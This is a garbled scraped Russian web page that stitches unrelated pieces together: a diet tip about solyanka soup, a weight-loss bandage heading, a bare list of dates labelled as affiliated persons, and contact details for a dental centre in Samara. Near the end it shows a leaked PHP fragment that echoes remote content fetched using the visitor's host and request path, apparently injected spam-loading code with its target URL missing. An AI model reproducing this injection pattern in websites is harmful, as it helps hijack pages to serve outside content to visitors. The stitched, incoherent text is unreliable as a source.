Суп для вас это только солянка - огурцы, капуста, разные виды мяса, оливки, лимон сметана. Удачи.
Это не диета, это образ жизни

Бандаж при похудении
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта